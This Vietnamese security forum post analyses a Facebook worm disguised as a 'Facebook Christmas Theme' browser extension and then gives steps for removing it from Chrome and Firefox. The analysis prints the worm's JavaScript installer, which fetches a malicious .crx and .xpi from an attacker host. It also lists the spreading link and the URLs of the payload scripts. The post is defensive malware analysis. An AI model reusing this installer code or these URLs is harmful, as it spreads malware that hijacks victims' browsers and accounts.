Cách gỡ bỏ ( diệt ) con FB Worm "Facebook Christmas Theme" mới (kèm thông tin RE)

Đây là biến thể mới nhất của con Facebook Worm ( hay nhiều người gọi là Facebook Virus ), cách gỡ ( diệt ) con worm này ra nằm ở cuối bài viết này, nếu bạn không phải người yêu thích kĩ thuật, chỉ muốn biết cách gỡ ( diệt ) con worm ra thì vui lòng bỏ qua đoạn phân tích dài ngoằng bên dưới mà đi thẳng đến phần cuối bài.


Link lây lan dạng:
http://j.mp/XmasTheme?hereenow 


Truy cập vào sẽ chuyển đến
-> http://biglol.in/


;--------------------- Ham kich hoat cai dat Plugin----------------------
<a onclick="instalar();" class="install nomargin"></a>
;--------------------------Noi dung ham cai dat plugin----------------------
function instalar(){
                if (is_chrome){
                    click_img();
                    window.open("http://biglol.in/fb.crx");
                } else if(is_firefox){
                    click_img();
                    var params = {
                        "Youtube Extension": {
                            URL: "http://biglol.in/firefox.xpi",
                            toString: function () { return this.URL; }
                        }
                    };
                    InstallTrigger.install(params);
                } else{
                    window.open("http://www.google.com/chrome/eula.html");
                }
            }
            if(!is_chrome && !is_firefox ){
                var id, servidor;
                id=getQuerystring("id",null);
                servidor="videozer";
                if(id!=null){
                    window.location="http://thelegendary6.com/video.php";

                }else{
                    window.location="http://thelegendary6.com/video.php";
}             
            }


;------------------------ Source bo phan lay lan---------------------
http://biglol.in/script/g.js -> http://biglol.in/script/w.js


;--------------------------- 2 Plugin virus moi------------------
Tên chung trong phần add-on sẽ là "Facebook Christmas Theme"


Chrome:
http://biglol.in/fb.crx
Firefox:
http://biglol.in/firefox.xpi

;--------------------------- Cách gỡ bỏ Virus FB biến thể Chrismas themes -----------------------
Cũng như phiên bản virus trước nhưng lần này 2 plugin cần gỡ bỏ đều có tên là "Facebook Christmas Theme"


Chrome: mở tab mới, vào phần Apps, kiếm cái plugin  "Facebook Christmas Theme" , nhấp phải chọn remove from Chrome . Xong


Chú ý: virus trong Chrome có icon trông như sau

Logo FB Worm trong Chrome

Firefox: vào Menu Tool -> add-on -> extensions -> chọn cái plugin  "Facebook Christmas Theme"  rồi chọn Remove . Xong


Chú ý: virus trong Firefox có icon trông như sau

Logo FB Worm trong Firefox

-----------------------------
Kỷ lục mới, RE trong 10p, nhanh hơn lần trước, lần sau phấn đấu còn 5p :))

xnohat - HVAonline.net